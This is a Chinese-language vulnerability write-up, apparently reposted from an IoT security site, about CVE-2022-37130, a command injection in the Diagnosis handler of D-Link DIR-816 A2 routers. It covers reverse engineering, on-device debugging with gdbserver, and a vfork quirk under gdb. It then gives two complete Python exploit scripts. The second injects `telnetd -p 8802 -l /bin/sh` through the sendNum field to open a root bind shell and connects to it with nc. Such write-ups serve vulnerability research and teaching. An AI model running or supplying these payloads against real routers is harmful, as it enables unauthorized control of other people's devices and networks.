Files

211 lines
7.2 KiB
Markdown
Raw Permalink Normal View History

2026-10-15 20:25:47 +08:00
# D-Link CVE-2022-37130
> z1r0
> 来源:https://www.iotsec-zone.com/article/250
> - Manufacturer’s address:[https://www.dlink.com/](https://www.dlink.com/)
> - Firmware download address : [http://tsd.dlink.com.tw/GPL.asp](http://tsd.dlink.com.tw/GPL.asp)
> - Affected version:DIR-816 A2_v1.10CNB04
## 前言
花了一段时间学了一下LLVM PASS PWN,现在有时间来搞IOT了,第一篇写了如何提取文件,如何对漏洞文件进行逆向分析,怎么触发漏洞,这一篇笔者还是对这个固件的漏洞进行分析,这次的漏洞是一个命令注入漏洞,会记录一下如何利用漏洞进行getshell操作
## 逆向分析漏洞点
漏洞点发生在`formDefineManagement`中的`Diagnosi`函数中
![0.png](https://www.iotsec-zone.com/images/MdImg/56c37e39991959d7bfdc032d5816bfc7.png)
程序从用户那里得到sendNum并拼接到v10中,值得注意的是这里并没有进行任何过滤和限制,在最后会执行到dosystembk,导致了命令注入漏洞
## 漏洞利用
我们可以先把路由器的telnet开启登陆进去,这样做的原因是准备进行真机调试,我们需要去下载一个`gdbserver.mipsle`
然后在ubuntu上下载一个tftpd,并启动服务`sudo systemctl restart tftpd-hpa.service`,可以通过`sudo netstat -a | grep tftp`查看
![1.png](https://www.iotsec-zone.com/images/MdImg/839d1d1503abc2018b050ed7fbc7539b.png)
把存放`gdbserver.mipsle`这个文件的目录做为主目录挂载到tftp上,使用telnet登录到路由器中
转到/tmp目录下,因为其他很多目录都是只读,然后将`gdbserver.mipsle`利用tftp传到/tmp下,并给上执行权限
![2.png](https://www.iotsec-zone.com/images/MdImg/47445f0c3c5a29b265e07ff0b867cdb4.png)
接下来需要将goahead利用gdbserver给挂载到一个端口上,然后使用pwndbg对goahead进行调试分析,ps查看goahead的pid
![3.png](https://www.iotsec-zone.com/images/MdImg/23e74691278cd991c07ded38e1ef781d.png)
`./gdbserver.mipsle :1234 --attach 42`挂载到1234端口上
![4.png](https://www.iotsec-zone.com/images/MdImg/ca2b34d70b46f2a4ba8c931fbfa337c8.png)
到ubuntu上使用target remote去连接这个端口进行调试
![5.png](https://www.iotsec-zone.com/images/MdImg/6cd13a876ffc2b76f2420f34ecda7143.png)
正确加载了libc和text
![6.png](https://www.iotsec-zone.com/images/MdImg/becf9a02d47c7d32cc606fd076ac9069.png)
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp
连接到80端口,并发送POST数据包,漏洞点在/gofrom/Diagnosis中,只需将pingAddr设置一个ip就可以过`if ( !strcmp(pingAddr, "0.0.0.0") )`,接着在sendNum中填入`ls`,看一下是否最后可以执行到ls
```python
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = b'1804289383'
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p2 = b'pingAddr=192.168.0.1&sendNum=`ls`&tokenid=1804289383'
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sending payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```
![7.png](https://www.iotsec-zone.com/images/MdImg/a0cac6dd4abf6272954415ac12870f09.png)
发送exp即可到断点,接着进行调试分析,发现可以成功执行到snprintf
![8.png](https://www.iotsec-zone.com/images/MdImg/d300200c5b7e34c14d078cdda99d5e05.png)
如上,可以看到ls成功被放入v10,继续调试,到0x45AEEC这时里,发现这里执行的是`> /tmp/diagnosis`
![9.png](https://www.iotsec-zone.com/images/MdImg/009e30777a9fdd8f969f42b4ddf60952.png)
继续往后调试也是最重要的dosystembk函数
![10.png](https://www.iotsec-zone.com/images/MdImg/49c9b8595f971266bf6500f4ade38d83.png)
因为mips的流水线,a1的值其实就是$sp + 0x28的值
![11.png](https://www.iotsec-zone.com/images/MdImg/bd213fa8e58b9f22874160672c7b92d1.png)
参数均已经被放入doSystembk中,接下来需要做的就是跟进dosystembk中,看一下$sp + 0x28会不会被执行
![12.png](https://www.iotsec-zone.com/images/MdImg/d36e95ec430b1cd700ad95230dec17b8.png)
但是在跟进dosystembk之后发现并不会创建子进程,最后创建的还是一个父进程
![13.png](https://www.iotsec-zone.com/images/MdImg/3409cd4f19a0eb0779e4541416345cd5.png)
可以看到pid大于0,创建的是父进程
![14.png](https://www.iotsec-zone.com/images/MdImg/3a7fe5747611f530238aec1fd0e2443e.png)
其实这个是gdb的原因,笔者写了一个程序测试了一下
```c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv){
int v5;
v5 = vfork();
if ( !v5 ){
puts("hello");
exit(0);
}
return 0;
}
```
发现正常执行hello,但是在调试的时候vfork会变成父进程,v10就是ping的那一条命令
所以正常运行exp的时候会执行ls命令,但回显不了,那么如何getshell呢,没有nc但是有telnet,所以我们可以用telnet来弹一个shell
`telnetd -p 8802 -l /bin/sh`
需要注意的是>没有用,故exp如下
```python
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
tokenid = b'1804289383'
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
p2 = b'pingAddr=192.168.0.1&sendNum=`telnetd -p 8802 -l /bin/sh`&tokenid=1804289383'
p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
li('[+] sendling payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
li('[+] getshell! pwned by z1r0')
os.system("nc 192.168.0.1 8802")
```
![15.png](https://www.iotsec-zone.com/images/MdImg/18da913e65b35d71a855f34cc99bfac6.png)
成功getshell
## 总结
笔者认为真机调试比模拟固件好点,因为不需要为了环境发愁,有很多时候模拟固件会失败有的时候vmmap都没有用